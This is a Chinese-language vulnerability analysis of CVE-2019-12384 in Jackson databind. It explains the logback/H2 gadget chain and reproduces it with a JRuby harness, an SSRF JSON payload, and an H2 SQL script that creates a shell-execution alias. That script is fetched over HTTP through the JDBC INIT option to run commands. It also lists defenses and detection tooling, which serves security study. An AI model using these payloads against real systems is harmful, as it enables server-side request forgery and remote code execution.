CVE-2019-12384 Jackson反序列化漏洞深度剖析与利用
漏洞概述
CVE-2019-12384是一个影响Jackson库的反序列化漏洞,允许攻击者在特定条件下实现服务器端请求伪造(SSRF)和远程代码执行(RCE)。该漏洞影响一系列RedHat产品,主要涉及Jackson库的多态类型处理功能。
漏洞利用条件
要成功利用此漏洞,需要满足以下四个条件:
-
不受信任的JSON输入:应用程序接受由不受信任的客户端发送的JSON内容,且无法约束正在发送的JSON消息。
-
多态类型处理:应用程序对名称类型为
java.lang.Object的属性(或少量"许可"标记接口如java.util.Serializable、java.util.Comparable)使用多态类型处理。 -
存在可利用的小工具类:应用程序的Java类路径中至少有一个特定的"小工具"类可用。在本漏洞中,关键类是
ch.qos.logback.core.db.DriverManagerConnectionSource。 -
Jackson版本未阻止特定小工具类:使用的Jackson版本未阻止特定的"小工具"类。
漏洞利用原理
核心利用链
漏洞的核心在于滥用Jackson的多态反序列化功能,结合JDBC的自动字符串到类映射机制:
- 攻击者构造包含恶意
DriverManagerConnectionSource类的JSON数据 - Jackson反序列化时会调用该类的setter方法,包括
setUrl(String url) - 通过控制JDBC URL参数,可以触发JDBC连接初始化
- 利用H2数据库的特殊功能执行任意SQL命令
- 通过H2的别名功能执行系统命令
关键类分析
ch.qos.logback.core.db.DriverManagerConnectionSource类是Logback日志框架的一部分,用于数据库连接管理。该类有以下关键特性:
- 包含
setUrl(String url)方法,可设置JDBC连接字符串 - 在反序列化过程中会自动调用setter方法
- 当调用
getConnection()时会初始化JDBC连接
漏洞复现步骤
环境准备
需要以下组件:
- JRuby环境:运行在JVM上的Ruby实现
- 必要的JAR包:
- jackson-databind-2.9.8
- jackson-annotations-2.9.8
- jackson-core-2.9.8
- logback-core-1.3.0-alpha4
- h2-1.4.199 (用于RCE)
基础利用脚本
require 'java'
Dir["./classpath/*.jar"].each do |f|
require f
end
java_import 'com.fasterxml.jackson.databind.ObjectMapper'
java_import 'com.fasterxml.jackson.databind.SerializationFeature'
content = ARGV[0]
puts "Mapping"
mapper = ObjectMapper.new
mapper.enableDefaultTyping()
mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false);
puts "Serializing"
obj = mapper.readValue(content, java.lang.Object.java_class) # 调用所有setter
puts "objectified"
puts "stringified: " + mapper.writeValueAsString(obj)
SSRF攻击
执行以下命令触发SSRF:
jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:\"}]"
这将导致应用程序尝试建立JDBC连接,可用于探测内网服务。
升级到RCE
要升级到远程代码执行,需要以下步骤:
- 准备恶意SQL脚本(inject.sql):
CREATE ALIAS SHELLEXEC AS
$$
String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
$$
;
CALL SHELLEXEC('id > exploited.txt')
- 启动HTTP服务器托管该脚本:
python -m SimpleHTTPServer 8000
- 执行攻击:
jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]"
- 检查命令执行结果:
cat exploited.txt
漏洞防御措施
即时防御方案
- 升级Jackson:使用最新版本的jackson-databind库
- 禁用默认类型:避免使用
enableDefaultTyping()方法 - 使用@JsonTypeInfo注解:替代全局默认类型设置
- 类白名单:实现自定义的反序列化器,限制可反序列化的类
长期安全实践
- 输入验证:对所有外部输入进行严格验证
- 最小权限原则:应用程序使用最小必要权限运行
- 安全编码培训:提高开发人员对反序列化风险的认识
- 静态分析:使用工具检测潜在的漏洞模式
自动化检测工具
研究团队开发了静态分析工具来发现Jackson小工具,特点包括:
- 污点跟踪分析:识别潜在的序列化小工具
- 高性能:在Macbook Pro i7 2018上平均运行时间2分钟
- 可定制规则:支持自定义和可扩展的规则集
- 平衡设计:在召回率、精确度和性能间取得平衡
技术深度解析
Jackson多态反序列化机制
Jackson的多态反序列化通过@JsonTypeInfo注解或全局默认类型设置实现。当启用时,JSON中可以包含类信息:
["className", {"property": "value"}]
反序列化时,Jackson会:
- 解析类名
- 实例化指定类
- 递归调用setter方法填充属性
JDBC攻击面分析
JDBC的自动类加载机制是攻击成功的关键:
- JDBC URL中的协议部分(
jdbc:subprotocol:...)决定了加载哪个驱动类 - 驱动类会自动实例化并处理URL
- H2驱动提供了执行初始化脚本的功能
- H2的Java别名功能允许执行任意Java代码
反序列化漏洞挖掘方法论
- 入口点识别:查找接受外部输入的JSON反序列化点
- 类路径分析:枚举可用的潜在危险类
- 方法调用链:分析从setter方法开始的调用链
- 副作用评估:识别可导致安全问题的操作(如网络、文件、反射等)
总结
CVE-2019-12384展示了反序列化漏洞的严重性,特别是在使用复杂框架和库时的潜在风险。该漏洞结合了Jackson的多态处理、JDBC的自动加载和H2的高级功能,形成了完整的攻击链。防御此类漏洞需要多层次的安全措施,包括库的及时更新、输入验证和安全编码实践。